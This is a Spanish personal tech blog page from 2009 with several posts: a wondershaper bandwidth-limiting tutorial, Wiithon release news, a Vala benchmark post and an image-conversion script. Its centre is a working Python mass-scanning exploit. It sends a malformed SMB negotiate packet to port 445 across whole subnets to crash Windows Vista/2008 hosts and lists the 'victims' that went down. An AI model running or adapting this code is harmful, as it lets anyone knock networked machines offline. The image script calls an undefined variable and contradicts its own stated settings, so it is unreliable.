Linux: Limitación de Descarga y Subida a nivel de Kernel

Teoría:

Cuando alcanzamos los límites de nuestra conexión, ya sea en subida y/o en bajada, los tiempos de respuesta (latencia, ping) se disparan, debido a que se están formando colas en el router. Y en general, los routers domésticos, gestionan muy mal las colas (son sistemas embebidos con muy poca memoria).

Por ello, es mejor acumular las colas en nuestros potentes ordenadores, en lugar de nuestros tristes routers que regalan con las portabilidades.

Realmente, lo de acumular la cola en el host, solo sirve para la subida, ya que la subida solo depende de nosotros. La técnica para controlar el límite de bajada es el siguiente: nuestro ordenador recibe paquetes, y tiene capacidad para gestionar todo el flujo pero intencionadamente se descartan paquetes hasta conseguir el flujo deseado. El punto anterior en la traza hasta nosotros, se dará cuenta que estamos descartando paquetes. Todos los routers interpretan esto como congestión, aunque sea congestión simulada. El router emisor se relaja hasta que le aceptemos todos los paquetes, que será cuando alcanzemos el flujo de descarga deseado. El único problema, es que cíclicamente los emisores probarán suerte volviendo aumentar el flujo para ver si hemos superado la congestión, y necesariamente cíclicamente se descartarán paquetes. Esto no es grave, también pasa cuando descargamos algo, y llega al auténtico límite de nuestra conexión, pero es interesante comentarlo.

Todo esto de controlar la congestión mediante colas en el propio host para mantener las latencias se denomina QoS. Calidad de servicio.

Aunque algunos routers caseros han intentado implimentar el QoS, en si experiencia, dejan bastante que desear. Si queremos un QoS de calidad, la única opción es montar un host sobre Linux que hará la función de router, entre otras cosas gestionando todos los flujos con QoS y prácticamente capacidad para colas tan grandes como nuestra capacidad RAM.

Si nuestra LAN es pequeña, este esquema no es barato, tener que tener un pc 24 horas con la función principal de rutear (pero router de calidad empresarial eso sí.). Otra forma sería poner los límites en cada uno de los hosts.

Evidenetemente las restricciones las pondrá un root, para que no haya forma de saltarse los límites de descarga/subida. Esto en Linux en fácil, en Windows, por su mal diseño, te obliga a trabajar como administrador, y por tanto podrías cerrar procesos como NetLimiter que realizan tambien QoS, pero en Windows.

Linux utiliza el comando “tc” para controlar los flujos, pero su uso es realmente extenso, por ello existe un script cuya funcionalidad se limita a un caso de uso muy común (limitar todo el ancho de banda, bajada y subida sin diferenciar Web de Emule, etc …). El script en cuestión es wondershaper.

Bueno, pasamos a lo interesante xD.

Práctica:

Hacemos un test de velocidad, asegurate que nadie use internet, o desenchufa a todos en el switch xD. Necesitamos los datos de la conexión en Kbps (bits). Es decir para 6 Mb de bajada 1 Mb de subida son 6144Kbps / 1024Kbps teorícos pero por el over heat del TCP/IP será un 15-20% menos, supongamos 5100/750. Ese es el limite real, que sera lo que deevuelva un test de velocidad. A ese resultado reducirlo otra 20% más, como margen para permitir una ventana de concurrencia con los demás hosts, quedandose 4080 Kbps / 600 Kbps. Hemos puesto un colchon de un 20%, debeis probar varios valores, entre mayor sea el colchón más asegurado esta el ping. con un 20% debería no subir nunca el ping, pero si de por sí vuestro router es malo(puede repartir mal el tiempo entre bocas), por puede que necesiteis más colchón para asegurar la calidad del servicio. Ahora simplemente INSTALAR Y LIMITAR.

Instalamos el script: sudo apt-get install wondershaper
Con ifconfig miramos nuestro interfaz en uso: Por ejemplo, en mi caso eth0.
Limitramos la conexión: sudo wondershaper eth0 4080 600
Yo aparte me he puesto un alias en el .bash_aliases: alias limitar=’sudo wondershaper eth0′

Ahora hay que hacer pruebas, limitar todos los hosts, aumentar la concurrencia y en todo host debería tener unos tiempos mínimos de latencia. Si realmente necesitas un colchón muy grande, como un 60% o así, es que tienes un problema en tu red, probablemente exceso de colisiones, puede que uses un hub, o que la red sea muy grande y necesites separar los dominios de colisión con routers o puentes.

El script depende de iproute, en otras distribuciones tambien llamado iproute2, en ubuntu viene instalado, pero igual en otras distribuciones no viene.

Cuando ya tengais los valores correctos, para hacerlo definitivos:

1º Editamos: sudo gedit /etc/network/interfaces
2º Y lo dejáis así, pero con vuestros valores :D:

auto lo
iface lo inet loopback
up /usr/sbin/wondershaper eth0 4080 600
down /usr/sbin/wondershaper remove eth0

Existen otras formas, más dinámicas y válidas para cualquier adaptador con los script de if.up e if.down pero a mi me vale así.

Por último para eliminar el QoS (y se puede deducir del paste anterior) escribimos:
sudo wondershaper remove eth0

Ya puedo jugar el Counter Strike, mientras los demás están con el JDownloader, Emule, Torrent … !! :D

Wiithon 1.1 publicado!

Actualizado: sábado, 21 de noviembre de 2009

Bueno por fin publicamos la nueva versión tras casi 5 meses desde el anuncio de la 1.0.
Para mi wiithon me ha aportado mucho en conocimientos, me he acostumbrado tras muchos años de SQL puro, el uso de bases de datos ORM. He aprendido la potencia del combo python + pygtk. He aprendido a crear paquetes deb que siguen las políticas de Debian. Crear manpages, hacerme un repositorio de paquetes, resolver conflictos de bazaar, subir paquetes, comprender los problemas de punteros en 32bits y 64 bits y por último, he aprendido a amar a los Makefiles y esa gran satisfacción de hacer cosas complejas de forma controlada y sencilla.

Sin más rollo os pongo un tutorial mucho más simplificado, si lo comparamos con el de la versión anterior:

  1. Novedades
  2. Características ya existentes
  3. Reporte de bugs
  4. Instalación
  5. Actualización
  6. Uso de Wiithon en Consola (CLI)
  7. Descargar código fuente
  8. Colaborar en Wiithon
  9. Estado de traducción de Wiithon.
  10. Team wiithon
  11. Pantallazos

Sigue leyendo

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  https://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  https://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Vala: Eficiencia de C++ y Estilo de C#

Hace tiempo hice mis primeros pinitos en mono, mediante ASP.NET pero como ya puse en ese post, no me terminaba de convencer que las decisiones de la comunidad libre sean inexistentes y quedemos vendidos a mono frente a una política comun en Microsoft: Adoptar, Extender y Extinguir.

Vala es una alternativa a mono iniciada por los desarrolladores de GNOME:
http://live.gnome.org/Vala

Aqui unos benchmarkings, como podeis observar,  su rendimiento comparado con mono es aplastante, y juega en la misma liga que los mismisimos C/C++.

Nombre del benchmarking C++ Mono plain-C Vala
mandelbrot 14.50 54.61 12.39 13.13
partialSums 33.04 56.13 35.00 34.95
recursive 12.94 30.14 8.44 8.72
binaryTrees 27.87 43.87 21.56 30.84
sumFile 17.11 22.89 13.99 15.06
fannkuch 11.46 27.05 11.26 12.44
spectralNorm 32.82 49.82 33.25 33.36
nsieve 25.32 28.03 25.31 25.09

De hecho lo estoy considerando para programar videojuegos, ya que es lo que siempre he deseado, un alto nivel que te ahorra tiempo con eficiencia de código nativo, sin maquinas virtuales. Lo digo por este ejemplo de Vala en OpenGL: http://live.gnome.org/Vala/OpenGLSamples

Como inconveniente, habría que analizar su capacidad de multiplataforma (incluso con KDE).

Por último os pasteo un poco de código de Vala para que veais que se aprende en 2 tardes sabiendo algo de C/C++/C#.

public class NumberGuessing {

    private int min;
    private int max;

    public NumberGuessing (int min, int max) {
        this.min = min;
        this.max = max;
    }

    public void start () {
        int try_count = 0;
        int number = Random.int_range (min, max);

        stdout.printf ("Welcome to Number Guessing!\n\n");
        stdout.printf ("I have thought up a number between %d and %d\n", min, max);
        stdout.printf ("which you have to guess now. Don't worry, I will\n");
        stdout.printf ("give you some hints.\n\n");

        while (true) {
            try_count++;

            stdout.printf ("Try #%d\n", try_count);
            stdout.printf ("Please enter a number between %d and %d: ", min, max);
            int input = stdin.read_line ().to_int ();

            if (number == input) {
                stdout.printf ("Congratulations! You win.\n");
                break;
            } else {
                stdout.printf ("Wrong. The wanted number is %s than %d.\n",
                               number > input ? "greater" : "less", input);
            }
        }
    }

    public static int main (string[] args) {
        var game = new NumberGuessing (1, 100);
        game.start ();
        return 0;
    }
}

Fuente:
http://live.gnome.org/Vala
http://code.google.com/p/vala-benchmarks/wiki/BenchResults

Wiithon 1.0 liberado!!

POST ANTICUADO, última versión wiithon: 1.1 https://blogricardo.wordpress.com/2009/11/20/wiithon-1-1-publicado/

Actualizado: martes, 28 de julio de 2009

Creo que ya es el momento de publicar esta versión de wiithon con un GUI basado en GTK. Un desarrollo que empeze en abril, (trás publicar wiithon 0.98) sin tener apenas expriencia en GTK, gracias a Jose Luis Segura(LK2) y Google, he aprendido lo sufuciente en GTK para llegar al punto en el que estamos.

Sin dar más vueltas os expongo ls partes que va a tener esta presentación:

  1. Características
  2. Descargas
  3. Instalación
  4. Ejecución
  5. Actualización
  6. Traducir wiithon
  7. Agradecimientos.
  8. Team wiithon
  9. Screenshots

Sigue leyendo

Screenshot wiithon

Cada vez estamos más cerca de una versión estable, hoy llevo toda la tarde probando el buscador y va muy muy fino. (Utilizo un ORM llamado SQlAlchemy que a su vez esta basado el SQLLite).
Sigue leyendo

Script para ripear imagenes masivamente* (Actualizado)

Ultima modificación: jueves, 28 de mayo de 2009

Necesitaba ripear unas 5000 imagenes en el curro, en cada una de ellos necesitaba pasarlo de TIFF a JPG y fijar el ancho a 800 y alto libre manteniendo aspect ratio.

Me he hecho este script cuyo uso simplemente es pasar todos las carpetas que vamos a trabajar como parametros. Por ejemplo:

Uso: ripearImagenes CARPETA1 CARPETA2 CARPETA3 … CARPETAN

Escribiendo ripearImagenes sin parametros es equivalente a pasar el directorio actual como primer parametro.

Simplemente gedit ripearImagenes y pasteamos, además podeis poneros el script en algún directorio “PATHeado” (evidentemente, esto ultimo es opcional xD):

#!/usr/bin/python

#
# :: Invasion Tux
# :: Ultima modificacion : jueves, 28 de mayo de 2009
# :: Script realizado por makiolo (makiolo@gmail.com) (Licencia Creative Commons con reconocimiento)
# :: Ultima version : https://blogricardo.wordpress.com/2009/05/15/script-para-ripear-imagenes-masivamente/
# :: Dependencias : python , convert
#

import os,sys,glob,subprocess,shutil

######### CONFIGURACION ##############

SUFIJO = "_RIPEADO"
DESTINO = ".png"
ANCHO = 2000
FORMATOS_VALIDOS = ["jpg","gif","png","tif"]

######################################

def getExtension(fichero):
	posPunto = video.rfind(".")
	return fichero[posPunto+1:len(fichero)]

def extensionEsValida(fichero):
	posPunto = video.rfind(".")
	if posPunto != -1:
		extension = getExtension(fichero)
		try:
			FORMATOS_VALIDOS.index(extension)
			return True
		except ValueError:
			return False
	else:
		return False

def getNombreRipeado(fichero):
	return fichero+SUFIJO+DESTINO

def getCarpetaRipeados( dir_inicial ):
	return "%s_RIPEADOS" % ( os.path.basename(dir_inicial) )

def existeRipeado(fichero):
	return os.path.exists(getNombreRipeado(fichero))

def ripear(fichero):
	ret = subprocess.call('convert "%s" -quiet -resize %d "%s"' % ( fichero , ANCHO , getNombreRipeado(fichero) ) , shell=True)
	return ret == 0

def ripearTodo( carpeta ):
	imagenes = []
	for extension in FORMATOS_VALIDOS:
		imagenes += glob.glob("*."+extension)
	borradas = 0
	copia = []
	lenFinal = len(SUFIJO+DESTINO)
	for imagen in imagenes:
		if(imagen[-lenFinal:] != SUFIJO+DESTINO):
			if os.path.isfile(imagen):
				copia.append(imagen)
		else:
			os.remove( imagen )
			borradas = borradas + 1
	print "+ Borradas %d imagenes ripeadas" % (borradas)

	total = len(copia)
	print "+ Ripeando %d imagenes: " % total
	i = 1
	for imagen in copia:
		print "  - Ripeando %d de %d\r" % (i , total),
		sys.stdout.flush()
		if ripear(imagen):
			shutil.move( getNombreRipeado(imagen) , carpeta)
		else:
			print "Error ripeando %s. Posiblemente no sea una imagen." % (imagen)
		i+=1

def App():
	try:
		if len(sys.argv) == 1:
			sys.argv.append(".")
		dir_inicial = os.getcwd()
		for parm in sys.argv:
			if parm != sys.argv[0]:
				if (os.path.isdir(parm)):
					carpeta = getCarpetaRipeados( dir_inicial )
					if not os.path.exists(carpeta):
						os.mkdir(carpeta)

					parm = os.path.abspath( parm )
					carpeta = os.path.abspath( carpeta )
					os.chdir(parm)
					print "Trabajando %s" % parm
					ripearTodo( carpeta )
					os.chdir( dir_inicial )
				else:
					print '"%s" no es un directorio' % parm
	except KeyboardInterrupt:
		print "ancelado por el usuario"

if __name__ == '__main__':
	App()